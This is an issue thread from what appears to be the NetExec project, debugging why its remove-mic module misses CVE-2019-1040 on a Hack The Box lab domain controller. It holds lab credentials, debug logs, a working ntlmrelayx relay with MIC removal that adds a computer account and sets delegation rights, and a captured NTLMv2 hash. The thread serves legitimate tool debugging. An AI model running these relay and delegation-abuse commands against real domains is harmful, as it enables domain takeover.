Module remove-mic appears to be broken

[TheGr3atJosh]

Describe the bug
Module remove-mic outputs nothing even though the machine is vulnerable (tested on new HTB Pirate machine).

To Reproduce
Steps to reproduce the behavior i.e.:
Command: nxc smb DC01.pirate.htb --use-kcache -M remove-mic
Resulted in:

SMB         DC01.pirate.htb 445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:None) (Null Auth:True)                                                               
SMB         DC01.pirate.htb 445    DC01             [+] PIRATE.HTB\pentest from ccache

Expected behavior
Module should output that machine is vulnerable to CVE-2019-1040

NetExec info

• OS: Kali
• Version of nxc: 1.5.1 - Yippie-Ki-Yay - c7dc286 - 0
• Installed from: uv

[NeffIsBack]

Hi and thanks for the bug report.

The module does manual NTLM handshakes with the given credentials to check the vulnerability. This may work with credentials that were supplied in Kerberos authenticated connections as well, but definitely not when no username&password is supplied. Therefore, technically the module probably works as intended, however we should just alert the user if necessary credentials/information are missing.

[TheGr3atJosh]

Some further testing:

nxc smb DC01.pirate.htb -u pentest -p 'p3nt3st2025!&' -M remove-mic

SMB         10.129.13.139   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.13.139   445    DC01             [+] pirate.htb\pentest:p3nt3st2025!& 

nxc smb DC01.pirate.htb -u pentest -p 'p3nt3st2025!&' -M ntlm_reflection

SMB         10.129.13.139   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.13.139   445    DC01             [+] pirate.htb\pentest:p3nt3st2025!&

Same applies to printnightmare, smbghost, ms17-010 and printnightmare.

I don't know if that's an issue with me or with the machine version. It certianly is weird.

[Marshall-Hallenbeck]

@TheGr3atJosh Can you provide full logs with --debug for each of those modules?

[TheGr3atJosh]

Okay they all start off with (with different sanity checks) I just put one here for brevity:

[10:50:17] DEBUG    NXC VERSION: 1.5.1 - Yippie-Ki-Yay - c7dc286b - 0                                                                                                                                                          netexec.py:82
           DEBUG    PYTHON VERSION: 3.13.11 (main, Dec  8 2025, 11:43:54) [GCC 15.2.0]                                                                                                                                         netexec.py:83
           DEBUG    RUNNING ON: Linux Release: 6.18.9+kali-amd64                                                                                                                                                               netexec.py:84
           DEBUG    Passed args: Namespace(version=False, threads=256, timeout=None, jitter=None, no_progress=False, log=None, verbose=False, debug=True, force_ipv6=False, dns_server=None, dns_tcp=False, dns_timeout=3,     netexec.py:85
                    protocol='smb', target=['DC01.pirate.htb'], username=['pentest'], password=['p3nt3st2025!&'], cred_id=[], ignore_pw_decoding=False, no_bruteforce=False, continue_on_success=False, gfail_limit=None,                   
                    ufail_limit=None, fail_limit=None, kerberos=False, use_kcache=False, aesKey=None, kdcHost=None, pfx_cert=None, pfx_base64=None, pfx_pass=None, pem_cert=None, pem_key=None, module=['printnightmare'],                  
                    module_options=[], list_modules=None, show_module_options=False, hash=[], delegate=None, delegate_spn=None, generate_st=None, no_s4u2proxy=False, domain=None, local_auth=False, port=445, share='C$',                  
                    smb_server_port=445, no_smbv1=False, no_admin_check=False, gen_relay_list=None, smb_timeout=2, laps=None, generate_hosts_file=None, generate_krb5_file=None, generate_tgt=None, sam=None, lsa=None,                     
                    ntds=None, kerberos_keys=False, history=False, enabled=False, userntds=None, dpapi=None, sccm=None, mkfile=None, pvk=None, list_snapshots=None, shares=None, exclude_shares=None, dir=None,                             
                    interfaces=False, no_write_check=False, filter_shares=None, disks=False, users=None, users_export=None, groups=None, local_groups=None, computers=None, pass_pol=False, rid_brute=None,                                 
                    smb_sessions=False, reg_sessions=None, loggedon_users=None, loggedon_users_filter=None, qwinsta=None, tasklist=None, taskkill=None, wmi_query=None, wmi_namespace='root\\cimv2', spider=None,                           
                    spider_folder='.', content=False, exclude_dirs='', depth=None, only_files=False, silent=False, pattern=None, regex=None, put_file=None, get_file=None, append_host=False, exec_method='wmiexec',                        
                    dcom_timeout=5, get_output_tries=100, codec='utf-8', no_output=False, execute=None, ps_execute=None, obfs=False, amsi_bypass=None, clear_obfscripts=False, force_ps32=False, no_encode=False)                           
           DEBUG    Protocol: smb                                                                                                                                                                                             netexec.py:141
           DEBUG    Protocol Path: /home/kali/.local/share/uv/tools/netexec/lib/python3.13/site-packages/nxc/protocols/smb.py                                                                                                 netexec.py:144
           DEBUG    Protocol DB Path: /home/kali/.local/share/uv/tools/netexec/lib/python3.13/site-packages/nxc/protocols/smb/database.py                                                                                     netexec.py:146
           DEBUG    Protocol Object: <class 'protocol.smb'>, type: <class 'type'>                                                                                                                                             netexec.py:149
           DEBUG    Protocol DB Object: <class 'protocol.database'>                                                                                                                                                           netexec.py:151
           DEBUG    DB Path: /home/kali/.nxc/workspaces/default/smb.db                                                                                                                                                        netexec.py:154
           DEBUG    Modules to be Loaded for sanity check: ['printnightmare'], <class 'list'>                                                                                                                                 netexec.py:188
           DEBUG    Loading module for sanity check printnightmare at path /home/kali/.local/share/uv/tools/netexec/lib/python3.13/site-packages/nxc/modules/printnightmare.py                                                netexec.py:195
           DEBUG    Supported protocols: ['smb']                                                                                                                                                                          moduleloader.py:67
           DEBUG    Protocol: smb                                                                                                                                                                                         moduleloader.py:68
           DEBUG    Creating ThreadPoolExecutor                                                                                                                                                                                netexec.py:45
           DEBUG    Creating thread for <class 'protocol.smb'>                                                                                                                                                                 netexec.py:48
           INFO     Socket info: host=10.129.14.8, hostname=DC01.pirate.htb, kerberos=False, ipv6=False, link-local ipv6=False                                                                                             connection.py:174
           DEBUG    Kicking off proto_flow                                                                                                                                                                                 connection.py:238
           INFO     Creating SMBv1 connection to 10.129.14.8                                                                                                                                                                      smb.py:555
           INFO     SMBv1 disabled on 10.129.14.8                                                                                                                                                                                 smb.py:578
           INFO     Creating SMBv3 connection to 10.129.14.8                                                                                                                                                                      smb.py:586
[10:50:18] DEBUG    Created connection object                                                                                                                                                                              connection.py:243
           DEBUG    Server OS: Windows 10 / Server 2019 Build 17763 10.0 build 17763                                                                                                                                              smb.py:255
           DEBUG    Update Hosts: [{'id': 83, 'ip': '10.129.14.8', 'hostname': 'DC01', 'domain': 'pirate.htb', 'os': 'Windows 10 / Server 2019 Build 17763', 'dc': None, 'smbv1': None, 'signing': True, 'spooler': None,    database.py:273
                    'zerologon': None, 'petitpotam': None}]                                                                                                                                                                                 
           DEBUG    add_host() - Host IDs Updated: [83]                                                                                                                                                                      database.py:283
           INFO     Resolved domain: pirate.htb with dns, kdcHost: 10.129.14.8                                                                                                                                                    smb.py:291
[10:50:18] INFO     SMB         10.129.14.8     445    DC01             Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:None) (Null Auth:True)                                     smb.py:299
           DEBUG    Trying to authenticate using plaintext with domain                                                                                                                                                     connection.py:505
           INFO     Creating SMBv1 connection to 10.129.14.8                                                                                                                                                                      smb.py:555
           INFO     SMBv1 disabled on 10.129.14.8                                                                                                                                                                                 smb.py:578
           INFO     Creating SMBv3 connection to 10.129.14.8                                                                                                                                                                      smb.py:586
           DEBUG    Logged in with password to SMB with pirate.htb/pentest                                                                                                                                                        smb.py:445
           DEBUG    self.is_guest=False                                                                                                                                                                                           smb.py:447
           DEBUG    Checking if user is admin on 10.129.14.8                                                                                                                                                                      smb.py:634
[10:50:19] DEBUG    Adding credential: pirate.htb/pentest:p3nt3st2025!&                                                                                                                                                           smb.py:451
           DEBUG    Adding credentials: [{'id': 195, 'domain': 'pirate.htb', 'username': 'pentest', 'password': 'p3nt3st2025!&', 'credtype': 'plaintext', 'pillaged_from_hostid': None}]                                     database.py:340
           DEBUG    Using 'ip' column for filtering                                                                                                                                                                          database.py:116
           DEBUG    filter_term is an IP address: 10.129.14.8                                                                                                                                                                database.py:127
           DEBUG    smb hosts() - results: [(83, '10.129.14.8', 'DC01', 'pirate.htb', 'Windows 10 / Server 2019 Build 17763', None, None, True, None, None, None)]                                                           database.py:489
[10:50:19] INFO     SMB         10.129.14.8     445    DC01             pirate.htb\pentest:p3nt3st2025!&                                                                                                                          smb.py:458
           INFO     Loading modules for target: 10.129.14.8                                                                                                                                                                connection.py:597
           DEBUG    Supported protocols: ['smb']                                                                                                                                                                          moduleloader.py:67
           DEBUG    Protocol: smb                                                                                                                                                                                         moduleloader.py:68
           DEBUG    Calling modules                                                                                                                                                                                        connection.py:257

And then:

remove-mic:

           DEBUG    Loading module remove-mic - <NXCModule.NXCModule object at 0x7fbf0b1cfe00>                                                                                                                             connection.py:292
           DEBUG    Loading context for module remove-mic - <NXCModule.NXCModule object at 0x7fbf0b1cfe00>                                                                                                                 connection.py:302
           DEBUG    Module remove-mic has on_login method                                                                                                                                                                  connection.py:307
[10:46:15] INFO     Target is not vulnerable to CVE-2019-1040 (authentication was rejected)                                                                                                                                 remove-mic.py:49
           DEBUG    Closing connection to: DC01.pirate.htb                                                                                                                                                                 connection.py:189

ntlm_reflection:

           DEBUG    Loading module ntlm_reflection - <NXCModule.NXCModule object at 0x7f06fe9e3e00>                                                                                                                        connection.py:292
           DEBUG    Loading context for module ntlm_reflection - <NXCModule.NXCModule object at 0x7f06fe9e3e00>                                                                                                            connection.py:302
           DEBUG    Module ntlm_reflection has on_login method                                                                                                                                                             connection.py:307
[10:46:45] DEBUG    Closing connection to: DC01.pirate.htb                                                                                                                                                                 connection.py:189

printnightmare:

           DEBUG    Loading module printnightmare - <NXCModule.NXCModule object at 0x7f7fc39efe00>                                                                                                                         connection.py:292
           DEBUG    Loading context for module printnightmare - <NXCModule.NXCModule object at 0x7f7fc39efe00>                                                                                                             connection.py:302
           DEBUG    Module printnightmare has on_login method                                                                                                                                                              connection.py:307
           INFO     Binding to 'ncacn_np:10.129.14.8[\\PIPE\\spoolss]'                                                                                                                                                  printnightmare.py:44
           INFO     Not vulnerable :'(                                                                                                                                                                                  printnightmare.py:98
           DEBUG    Closing connection to: DC01.pirate.htb                                                                                                                                                                 connection.py:189

smbghost:

           DEBUG    Loading module smbghost - <NXCModule.NXCModule object at 0x7f07512e3e00>                                                                                                                               connection.py:292
           DEBUG    Loading context for module smbghost - <NXCModule.NXCModule object at 0x7f07512e3e00>                                                                                                                   connection.py:302
           DEBUG    Module smbghost has on_login method                                                                                                                                                                    connection.py:307
           DEBUG    Performing SMBGhost check...                                                                                                                                                                              smbghost.py:35
           DEBUG    10.129.14.8 Not vulnerable.                                                                                                                                                                               smbghost.py:55
           DEBUG    Closing connection to: DC01.pirate.htb                                                                                                                                                                 connection.py:189

ms17-010:

           DEBUG    Loading module ms17-010 - <NXCModule.NXCModule object at 0x7f41835582f0>                                                                                                                               connection.py:292
           DEBUG    Loading context for module ms17-010 - <NXCModule.NXCModule object at 0x7f41835582f0>                                                                                                                   connection.py:302
           DEBUG    Module ms17-010 has on_login method                                                                                                                                                                    connection.py:307
           DEBUG    generate negotiate proto request                                                                                                                                                                         ms17-010.py:118
           DEBUG    generate smb proto payload                                                                                                                                                                                ms17-010.py:87
           DEBUG    Protos: ([b'\x00', b'\x00\x00T'], [b'\xffSMB', b'r', b'\x00\x00\x00\x00', b'\x18', b'\x01(', b'\x00\x00', b'\x00\x00\x00\x00\x00\x00\x00\x00', b'\x00\x00', b'\x00\x00', b'/K', b'\x00\x00', b'\xc5^'],   ms17-010.py:88
                    [b'\x00', b'1\x00', b'\x02', b'LANMAN1.0\x00', b'\x02', b'LM1.2X002\x00', b'\x02', b'NT LANMAN 1.0\x00', b'\x02', b'NT LM 0.12\x00'])                                                                                   
           DEBUG    generate smb proto payload                                                                                                                                                                                ms17-010.py:87
           DEBUG    Protos: (b'\x00', b'\x00\x00T')                                                                                                                                                                           ms17-010.py:88
           DEBUG    Packed proto data: b'\x00\x00\x00T'                                                                                                                                                                       ms17-010.py:97
           DEBUG    generate smb proto payload                                                                                                                                                                                ms17-010.py:87
           DEBUG    Protos: (b'\xffSMB', b'r', b'\x00\x00\x00\x00', b'\x18', b'\x01(', b'\x00\x00', b'\x00\x00\x00\x00\x00\x00\x00\x00', b'\x00\x00', b'\x00\x00', b'/K', b'\x00\x00', b'\xc5^')                              ms17-010.py:88
           DEBUG    Packed proto data: b'\xffSMBr\x00\x00\x00\x00\x18\x01(\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00/K\x00\x00\xc5^'                                                                            ms17-010.py:97
           DEBUG    generate smb proto payload                                                                                                                                                                                ms17-010.py:87
           DEBUG    Protos: (b'\x00', b'1\x00', b'\x02', b'LANMAN1.0\x00', b'\x02', b'LM1.2X002\x00', b'\x02', b'NT LANMAN 1.0\x00', b'\x02', b'NT LM 0.12\x00')                                                              ms17-010.py:88
           DEBUG    Packed proto data: b'\x001\x00\x02LANMAN1.0\x00\x02LM1.2X002\x00\x02NT LANMAN 1.0\x00\x02NT LM 0.12\x00'                                                                                                  ms17-010.py:97
           DEBUG    Packed proto data: b'\x00\x00\x00T\xffSMBr\x00\x00\x00\x00\x18\x01(\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00/K\x00\x00\xc5^\x001\x00\x02LANMAN1.0\x00\x02LM1.2X002\x00\x02NT LANMAN        ms17-010.py:97
                    1.0\x00\x02NT LM 0.12\x00'                                                                                                                                                                                              
           DEBUG    Error connecting to host when checking for MS17-010: [Errno 104] Connection reset by peer                                                                                                                 ms17-010.py:70
           DEBUG    Closing connection to: DC01.pirate.htb                                                                                                                                                                 connection.py:189

printnightmare:

           DEBUG    Loading module printnightmare - <NXCModule.NXCModule object at 0x7f733120be00>                                                                                                                         connection.py:292
           DEBUG    Loading context for module printnightmare - <NXCModule.NXCModule object at 0x7f733120be00>                                                                                                             connection.py:302
           DEBUG    Module printnightmare has on_login method                                                                                                                                                              connection.py:307
           INFO     Binding to 'ncacn_np:10.129.14.8[\\PIPE\\spoolss]'                                                                                                                                                  printnightmare.py:44
           INFO     Not vulnerable :'(                                                                                                                                                                                  printnightmare.py:98
           DEBUG    Closing connection to: DC01.pirate.htb                                                                                                                                                                 connection.py:189

I also tested webdav:

           DEBUG    Loading module webdav - <NXCModule.NXCModule object at 0x7f69110881a0>                                                                                                                                 connection.py:292
           DEBUG    Loading context for module webdav - <NXCModule.NXCModule object at 0x7f69110881a0>                                                                                                                     connection.py:302
           DEBUG    Module webdav has on_login method                                                                                                                                                                      connection.py:307
           DEBUG    Closing connection to: DC01.pirate.htb  

So it looks like they are mostly working just not outputting anything when not ran with the --debug flag.

[Marshall-Hallenbeck]

Yeah we try not to output stuff for vuln checks if it's not a positive or potentially positive check because if people are scanning large networks, that's a lot of useless output.

Which one(s) of these should have been reported as vulnerable, other than remove-mic?

[TheGr3atJosh]

I think only remove-mic.

[NeffIsBack]

Against Meereen from the GOAD lab the module works fine. Are you sure the machine is vulnerable? The output you posted above suggests otherwise

[TheGr3atJosh]

Relay without --remove-mic

ntlmrelayx.py -t ldaps://DC01.pirate.htb --delegate-access -smb2support

Impacket v0.14.0.dev0+20260226.31512.9d3d86ea - Copyright Fortra, LLC and its affiliated companies 
                                                          
[*] Protocol Client MSSQL loaded..
[*] Protocol Client DCSYNC loaded..
...                                                                          
[*] Multirelay disabled                                                                                                                                                                                                                    
                                                                                                                     
[*] Servers started, waiting for connections                                                                         
[*] (SMB): Received connection from 10.129.6.73, attacking target ldaps://DC01.pirate.htb                      
[!] The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)       
[-] (SMB): Authenticating against ldaps://DC01.pirate.htb as PIRATE/WEB01$ FAILED

Relay with --remove-mic

ntlmrelayx.py -t ldaps://DC01.pirate.htb --delegate-access -smb2support --remove-mic

Impacket v0.14.0.dev0+20260226.31512.9d3d86ea - Copyright Fortra, LLC and its affiliated companies 

[*] Protocol Client MSSQL loaded..
[*] Protocol Client DCSYNC loaded..
...
[*] Multirelay disabled

[*] Servers started, waiting for connections
[*] (SMB): Received connection from 10.129.6.73, attacking target ldaps://DC01.pirate.htb
[*] (SMB): Authenticating connection from PIRATE/WEB01$@10.129.6.73 against ldaps://DC01.pirate.htb SUCCEED [1]
[*] ldaps://PIRATE/WEB01$@dc01.pirate.htb [1] -> Enumerating relayed user's privileges. This may take a while on large domains
[*] (SMB): Received connection from 10.129.6.73, attacking target ldaps://DC01.pirate.htb
[*] ldaps://PIRATE/WEB01$@dc01.pirate.htb [1] -> Attempting to create computer in: CN=Computers,DC=pirate,DC=htb
[*] ldaps://PIRATE/WEB01$@dc01.pirate.htb [1] -> Adding new computer with username: ORTFTYLG$ and password: h$*ZVQjijdI+dBR result: OK
[*] ldaps://PIRATE/WEB01$@dc01.pirate.htb [1] -> Delegation rights modified succesfully!
[*] ldaps://PIRATE/WEB01$@dc01.pirate.htb [1] -> ORTFTYLG$ can now impersonate users on WEB01$ via S4U2Proxy

But when running the nxc module

nxc smb DC01.pirate.htb -u pentest -p 'p3nt3st2025!&' -M remove-mic --debug

[14:00:59] DEBUG    NXC VERSION: 1.5.1 - Yippie-Ki-Yay - b77744fe - 3                                                                                                                                                         netexec.py:82
           DEBUG    PYTHON VERSION: 3.13.12 (main, Feb  4 2026, 15:06:39) [GCC 15.2.0]                                                                                                                                        netexec.py:83
           DEBUG    RUNNING ON: Linux Release: 6.18.12+kali-amd64                                                                                                                                                             netexec.py:84
           DEBUG    Passed args: Namespace(version=False, threads=256, timeout=None, jitter=None, no_progress=False, log=None, verbose=False, debug=True, force_ipv6=False, dns_server=None, dns_tcp=False, dns_timeout=3,    netexec.py:85
                    protocol='smb', target=['DC01.pirate.htb'], username=['pentest'], password=['p3nt3st2025!&'], cred_id=[], ignore_pw_decoding=False, no_bruteforce=False, continue_on_success=False, gfail_limit=None,                  
                    ufail_limit=None, fail_limit=None, kerberos=False, use_kcache=False, aesKey=None, kdcHost=None, pfx_cert=None, pfx_base64=None, pfx_pass=None, pem_cert=None, pem_key=None, module=['remove-mic'],                     
                    module_options=[], list_modules=None, show_module_options=False, hash=[], delegate=None, delegate_spn=None, generate_st=None, no_s4u2proxy=False, domain=None, local_auth=False, port=445, share='C$',                 
                    smb_server_port=445, no_smbv1=False, no_admin_check=False, gen_relay_list=None, smb_timeout=2, laps=None, generate_hosts_file=None, generate_krb5_file=None, generate_tgt=None, sam=None, lsa=None,                    
                    ntds=None, kerberos_keys=False, history=False, enabled=False, userntds=None, dpapi=None, sccm=None, mkfile=None, pvk=None, list_snapshots=None, shares=None, exclude_shares=None, dir=None,                            
                    interfaces=False, no_write_check=False, filter_shares=None, disks=False, users=None, users_export=None, groups=None, local_groups=None, computers=None, pass_pol=False, rid_brute=None,                                
                    smb_sessions=False, reg_sessions=None, loggedon_users=None, loggedon_users_filter=None, qwinsta=None, tasklist=None, taskkill=None, wmi_query=None, wmi_namespace='root\\cimv2', spider=None,                          
                    spider_folder='.', content=False, exclude_dirs='', depth=None, only_files=False, silent=False, pattern=None, regex=None, put_file=None, get_file=None, append_host=False, exec_method='wmiexec',                       
                    dcom_timeout=5, get_output_tries=100, codec='utf-8', no_output=False, execute=None, ps_execute=None, obfs=False, amsi_bypass=None, clear_obfscripts=False, force_ps32=False, no_encode=False)                          
           DEBUG    Protocol: smb                                                                                                                                                                                            netexec.py:141
           DEBUG    Protocol Path: /home/kali/.local/share/uv/tools/netexec/lib/python3.13/site-packages/nxc/protocols/smb.py                                                                                                netexec.py:144
           DEBUG    Protocol DB Path: /home/kali/.local/share/uv/tools/netexec/lib/python3.13/site-packages/nxc/protocols/smb/database.py                                                                                    netexec.py:146
           DEBUG    Protocol Object: <class 'protocol.smb'>, type: <class 'type'>                                                                                                                                            netexec.py:149
           DEBUG    Protocol DB Object: <class 'protocol.database'>                                                                                                                                                          netexec.py:151
           DEBUG    DB Path: /home/kali/.nxc/workspaces/default/smb.db                                                                                                                                                       netexec.py:154
           DEBUG    Modules to be Loaded for sanity check: ['remove-mic'], <class 'list'>                                                                                                                                    netexec.py:188
           DEBUG    Loading module for sanity check remove-mic at path /home/kali/.local/share/uv/tools/netexec/lib/python3.13/site-packages/nxc/modules/remove-mic.py                                                       netexec.py:195
           DEBUG    Supported protocols: ['smb']                                                                                                                                                                         moduleloader.py:67
           DEBUG    Protocol: smb                                                                                                                                                                                        moduleloader.py:68
           DEBUG    Creating ThreadPoolExecutor                                                                                                                                                                               netexec.py:45
           DEBUG    Creating thread for <class 'protocol.smb'>                                                                                                                                                                netexec.py:48
           INFO     Socket info: host=10.129.6.73, hostname=DC01.pirate.htb, kerberos=False, ipv6=False, link-local ipv6=False                                                                                            connection.py:174
           DEBUG    Kicking off proto_flow                                                                                                                                                                                connection.py:238
           INFO     Creating SMBv1 connection to 10.129.6.73                                                                                                                                                                     smb.py:555
           INFO     SMBv1 disabled on 10.129.6.73                                                                                                                                                                                smb.py:578
           INFO     Creating SMBv3 connection to 10.129.6.73                                                                                                                                                                     smb.py:586
[14:01:00] DEBUG    Created connection object                                                                                                                                                                             connection.py:243
           DEBUG    Server OS: Windows 10 / Server 2019 Build 17763 10.0 build 17763                                                                                                                                             smb.py:255
           DEBUG    Update Hosts: [{'id': 104, 'ip': '10.129.6.73', 'hostname': 'DC01', 'domain': 'pirate.htb', 'os': 'Windows 10 / Server 2019 Build 17763', 'dc': None, 'smbv1': None, 'signing': True, 'spooler': None,  database.py:273
                    'zerologon': None, 'petitpotam': None}]                                                                                                                                                                                
           DEBUG    add_host() - Host IDs Updated: [104]                                                                                                                                                                    database.py:283
           INFO     Resolved domain: pirate.htb with dns, kdcHost: 10.129.6.73                                                                                                                                                   smb.py:291
[14:01:00] INFO     SMB         10.129.6.73     445    DC01             Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:None) (Null Auth:True)                                    smb.py:299
           DEBUG    Trying to authenticate using plaintext with domain                                                                                                                                                    connection.py:505
           INFO     Creating SMBv1 connection to 10.129.6.73                                                                                                                                                                     smb.py:555
[14:01:01] INFO     SMBv1 disabled on 10.129.6.73                                                                                                                                                                                smb.py:578
           INFO     Creating SMBv3 connection to 10.129.6.73                                                                                                                                                                     smb.py:586
           DEBUG    Logged in with password to SMB with pirate.htb/pentest                                                                                                                                                       smb.py:445
           DEBUG    self.is_guest=False                                                                                                                                                                                          smb.py:447
           DEBUG    Checking if user is admin on 10.129.6.73                                                                                                                                                                     smb.py:634
           DEBUG    Adding credential: pirate.htb/pentest:p3nt3st2025!&                                                                                                                                                          smb.py:451
           DEBUG    Adding credentials: [{'id': 195, 'domain': 'pirate.htb', 'username': 'pentest', 'password': 'p3nt3st2025!&', 'credtype': 'plaintext', 'pillaged_from_hostid': None}]                                    database.py:340
           DEBUG    Using 'ip' column for filtering                                                                                                                                                                         database.py:116
           DEBUG    filter_term is an IP address: 10.129.6.73                                                                                                                                                               database.py:127
           DEBUG    smb hosts() - results: [(104, '10.129.6.73', 'DC01', 'pirate.htb', 'Windows 10 / Server 2019 Build 17763', None, None, True, None, None, None)]                                                         database.py:489
[14:01:01] INFO     SMB         10.129.6.73     445    DC01             pirate.htb\pentest:p3nt3st2025!&                                                                                                                         smb.py:458
           INFO     Loading modules for target: 10.129.6.73                                                                                                                                                               connection.py:597
           DEBUG    Supported protocols: ['smb']                                                                                                                                                                         moduleloader.py:67
           DEBUG    Protocol: smb                                                                                                                                                                                        moduleloader.py:68
           DEBUG    Calling modules                                                                                                                                                                                       connection.py:257
           DEBUG    Loading module remove-mic - <NXCModule.NXCModule object at 0x7f23bc3dbe00>                                                                                                                            connection.py:292
           DEBUG    Loading context for module remove-mic - <NXCModule.NXCModule object at 0x7f23bc3dbe00>                                                                                                                connection.py:302
           DEBUG    Module remove-mic has on_login method                                                                                                                                                                 connection.py:307
[14:01:02] INFO     Target is not vulnerable to CVE-2019-1040 (authentication was rejected)                                                                                                                                remove-mic.py:49
           DEBUG    Closing connection to: DC01.pirate.htb  

[NeffIsBack]

Could it be that the host simply sends you a NTLMv1 auth request?

[TheGr3atJosh]

I am not quite sure what you mean. How can I test that?

[NeffIsBack]

Setup responder and check the NTLM version that is coming in:

Or you can query the registry key and see if it is below 3:

If you have NTLMv1 you should be able to remove the MIC, but that has nothing to do with the vulnerability

[TheGr3atJosh]

Doesn't look like it:

[SMB] NTLMv2-SSP Client   : 10.129.6.210
[SMB] NTLMv2-SSP Username : PIRATE\DC01$
[SMB] NTLMv2-SSP Hash     : DC01$::PIRATE:1122334455667788:FE718E84424CBEC6CDEA3F251517DA56:01010000000000008052641A37B2DC0113E0F7105C558D7E00000000020008005000350055004F0001001E00570049004E002D0059004E00410035005A00500058004600480037005A0004003400570049004E002D0059004E00410035005A00500058004600480037005A002E005000350055004F002E004C004F00430041004C00030014005000350055004F002E004C004F00430041004C00050014005000350055004F002E004C004F00430041004C00070008008052641A37B2DC010600040002000000080030003000000000000000000000000040000018E6E110E413BDEBAE31A7C4053EEA81BCD9F3EC8E702F9758D65B2B6E8B0F730A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310036002E003100300030000000000000000000

[NeffIsBack]

What is the LmCompatabilityLevel?

[TheGr3atJosh]

           DEBUG    Supported protocols: ['smb']                                                                                                                                                                          moduleloader.py:67
           DEBUG    Protocol: smb                                                                                                                                                                                         moduleloader.py:68
           DEBUG    Calling modules                                                                                                                                                                                        connection.py:257
           DEBUG    Loading module ntlmv1 - <NXCModule.NXCModule object at 0x7f6a588eda90>                                                                                                                                 connection.py:292
           DEBUG    Loading context for module ntlmv1 - <NXCModule.NXCModule object at 0x7f6a588eda90>                                                                                                                     connection.py:302
           DEBUG    Module ntlmv1 has on_admin_login method                                                                                                                                                                connection.py:311
           DEBUG    Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set                                                                                                                            ntlmv1.py:45
           DEBUG    Closing connection to: DC01.pirate.htb  

*Evil-WinRM* PS C:\Users\Administrator\Documents> reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LmCompatibilityLevel


reg.exe : ERROR: The system was unable to find the specified registry key or value.
    + CategoryInfo          : NotSpecified: (ERROR: The syst...y key or value.:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError